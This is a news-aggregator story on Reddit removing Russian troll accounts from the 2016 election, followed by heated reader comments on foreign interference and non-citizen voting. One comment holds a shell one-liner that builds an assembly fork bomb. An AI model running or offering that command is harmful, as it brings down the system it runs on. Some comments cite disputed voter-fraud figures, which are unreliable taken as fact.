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Reddit Admits Russian Trolls Got Into Website During 2016 Election (vice.com)
An anonymous reader quotes a report from VICE News: Reddit says it has identified and removed hundreds of Russian propaganda accounts, a few days after reports revealed that Russian trolls were active on the platform during the 2016 U.S. presidential election. In a post Monday, Reddit co-founder Steve Huffman said his site operators had been investigating for awhile and had found a few hundred accounts suspected to be of Russian origin or linked to known sources of Russian propaganda. "Of course, every account we find expands our search a little more," he said, also claiming the "vast majority" of the suspicious accounts were banned back in 2015-2016. An even bigger challenge was the problem of "indirect propaganda," where content produced by accounts now known to be Russian trolls was enthusiastically shared by Trump supporters on subreddits such as r/The_Donald. Reddit's investigation followed a report from The Daily Beast, based on leaked internal data from Kremlin-backed troll farm the Internet Research Agency, that confirmed Russian trolls were active on the site, as well as Tumblr, in their mission to spread disinformation, divide Americans and disrupt U.S. politics. The Washington Post reports that congressional investigators looking into the Russian issue intend to question Reddit and Tumblr over their involvement.
I was a lifelong straight ticket Democrat voter until 2016.
The Russians didn't make me vote for Trump.
Hillary Clinton, CNN, Jimmy Kimmel, HuffPo, WaPo, MSNBC, Madonna, etc, etc, etc made me vote for Trump.
They were so god damn smug, condescending, elitist, insulting, divisive, and arrogant... It made Trump's personality flaws look endearing in comparison, and voting for him was my big "fuck you".
No. The Russians didn't divide us. The Democrats and their media stooge propagandists did. Fuck them all to hell. I will never vote Democrat ever again, even though I disagree profoundly with the Republicans on most issues.
> On the first topic, ads, there is not much to share. We don’t see a lot of ads from Russia, either before or after the 2016 election, and what we do see are mostly ads promoting spam and ICOs. Presently, ads from Russia are blocked entirely, and all ads on Reddit are reviewed by humans. Moreover, our ad policies prohibit content that depicts intolerant or overly contentious political or cultural views.
> As for direct propaganda, that is, content from accounts we suspect are of Russian origin or content linking directly to known propaganda domains, we are doing our best to identify and remove it. We have found and removed a few hundred accounts, and of course, every account we find expands our search a little more. The vast majority of suspicious accounts we have found in the past months were banned back in 2015–2016 through our enhanced efforts to prevent abuse of the site generally.
That does not sound as sinister as what is being reported here this morning.
Foreigners interfering in elections isn't an 'act of war' though, otherwise Mexico would have declared war on the US each time a Mexican citizen illegally voted in a US election.
The individual foreigner voting is breaking US law, but the country they come from isn't declaring war on the US.
And before you say 'Non citizens voting doesn't happen, you racist!' yeah, it does
https://empowertexans.com/arou...
While the National Voter Registration Act (NVRA) requires local election officials to maintain accurate voter rolls, it also made it easier for non-citizens to get on the rolls by mandating that states offer voter registration by mail and at driver's license offices. Registering to vote is now an honor system, with no documentation required and no one verifying citizenship -- applicants merely check a box affirming they're U.S. citizens.
Birdwell asked Ingram what mechanisms the Secretary of State or county voter registration officials have to ensure that non-citizens aren't registering to vote. "Only the jury summons," Ingram responded. State law requires jury clerks to report to elections officials all individuals who claim an exemption to jury duty because they are not citizens.
"The Secretary of State's office's only way to ensure non-citizens aren't voting is the random sampling of a jury duty summons?" Birdwell asked.
"That is correct," Ingram replied.
If a non-citizen never gets summoned to jury duty or doesn't respond to a summons, Birdwell asked, "you have no mechanism to correct that wrong?"
"That's right," Ingram confirmed.
"We have no active method [to ensure non-citizens aren't registering to vote]. We depend on the self-reporting of the individual," Birdwell concluded. "That is a significant problem."
Texas Scorecard reported on those findings last month. A brief survey of four Texas counties found that in just the past two years, 165 unlawfully registered non-citizens were removed from those counties' voter rolls -- but only after they self-identified as non-citizens in the process of recusing themselves from jury duty. Those non-citizens cast 100 illegal votes.
Worse, the AG's investigators found that "the process for removing ineligible voters who self-report as non-citizens at jury duty is not being followed correctly, or even at all, in various counties."
Curious is it not how when a few Russians spend a few hundred thousand dollars in an election where the total spending was $6.5 billion that means Russia committed an 'act of war' against the US and anyone who disagrees is a traitor. When only 834,000 non citizens vote in a US election, that's not enough to explain Hillary's popular vote lead so we should ignore it. And that demanding people provide proof of citizenship before they buy Facebook ads is something the US must do to protect the integrity of its elections but trying to prevent hundreds of thousands of non citizens voting is racist.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Ah yes, the one thing that is a pretty sure bet whenever Russia comes up in the news in a none positive way is whataboutism.
It is not just about whataboutism. It is also about setting a precedent for censorship and thought control. We have gone from "Congress shall make no law ..." to "Censorship is okay if the speaker is Russian". The next step is a prohibition on speech by other "bad people". Anyone who stands up to defend the scoundrels is obviously one of them.
Even the author of your research says that Judicial Watch's interpretation (and math) are wrong.
https://www.wired.com/2017/01/...
Also, remember this entire research is based on an opt-in online survey. In other words, as evidence of voter fraud, it's pretty much horseshit.
You are welcome on my lawn.